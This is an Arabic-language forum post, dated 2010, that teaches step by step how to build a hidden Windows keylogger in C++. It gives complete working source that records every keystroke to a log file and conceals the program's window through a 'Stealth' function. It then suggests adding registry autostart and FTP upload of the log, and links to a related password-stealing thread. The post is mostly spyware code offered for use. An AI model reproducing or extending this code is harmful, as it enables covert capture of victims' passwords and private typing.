عرض مشاركة واحدة
قديم 08-05-2010, 03:09 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
sayf
 
الصورة الرمزية sayf
 

 

 
إحصائية العضو







sayf غير متواجد حالياً

إرسال رسالة عبر Skype إلى sayf

 

 

إحصائية الترشيح

عدد النقاط : 10
sayf is on a distinguished road

افتراضي by sayf شرح صنع الكيلوغر الخاص بك بلغة الـ c++


و في نقطة التطوير [ الديف بوينت ] الكبير


نعود لكم اليوم بموضوع آخر


إن شاء الله يكون محترما و محبوبا من طرفكم









اللهم صلِّ على محمد وآل محمد
بسم الله الرحمان الرحيم



يلآ بندأ ------------->
أو شيء طبعا نفتح السي
و نعمل مشروع جديد هكذا : File > New > Project
الآن نختار : Win32 Console Application
الآن أعمل دايما Next ثم إختر Empty Project تحت Additional Options
الآن لازم يكون عندك مشروع فارغ
لازم نعمل ملف .cpp
>> كليك بيمين الفأرة على Source Files ثم Add
الآن سمي ملفك KeyLoGGeR.cpp

الآن ضع فيه أول كود وهو :

كود:

#include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //


الآن تحتها :

كود:

int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.



الآن الفنكشنز الأساسية [ التي ستعمل الأولى ]

كود:

int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'

while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}



إلى حد الآن عملنا جيد

الآن فقط للنظام ضف هذا الكود :

كود:

/* *********************************** */


الكلمة المشفره : ***********************************

الآن سنصنع الكيلوغر
و أنا إستعملت إختصارات لـ spacebar, right, ... مثلا
و أنت تستطيع إضافة إختصارات أخرى من هنا http://www.asciitable.com/
و هاهو الكود :

كود:

int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}


الآن للنظام كالعادة :

كود:

/* *********************************** */







ثم

كود:

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}



لتكون قد أعددت أول كيلوغر لك

و هاهو الكود كامل و الكمال لله عز و جل

كود:

#include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //

int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.

int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'

while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}


الآن أعمل كومبيل

ثم إفتحه

و أكتب أي كلمة تحبها

و راح تلقى ملف إسمه log.txt

تجد فيه اللي كتبته

الآن شنو رايكم إذا عطيناه أمر تشغيل مع الحاسوب تلقائيا مع الريجيستري ؟
أو أمر إخفاء ؟
أو إرسال ملف log.txt عن طريق الإفتيبي ؟

الإجابة الثانية و الثالثة نجدها عند مبدعنا Dr.AdNaN من هنا

.::∫∫ برمجـة أداة سحب الباسورادت بـ ftp ! بالداخل هديـة ∫∫::.




by sayf avp wku hg;dg,yv hgohw f; fgym hgJ c++

   

رد مع اقتباس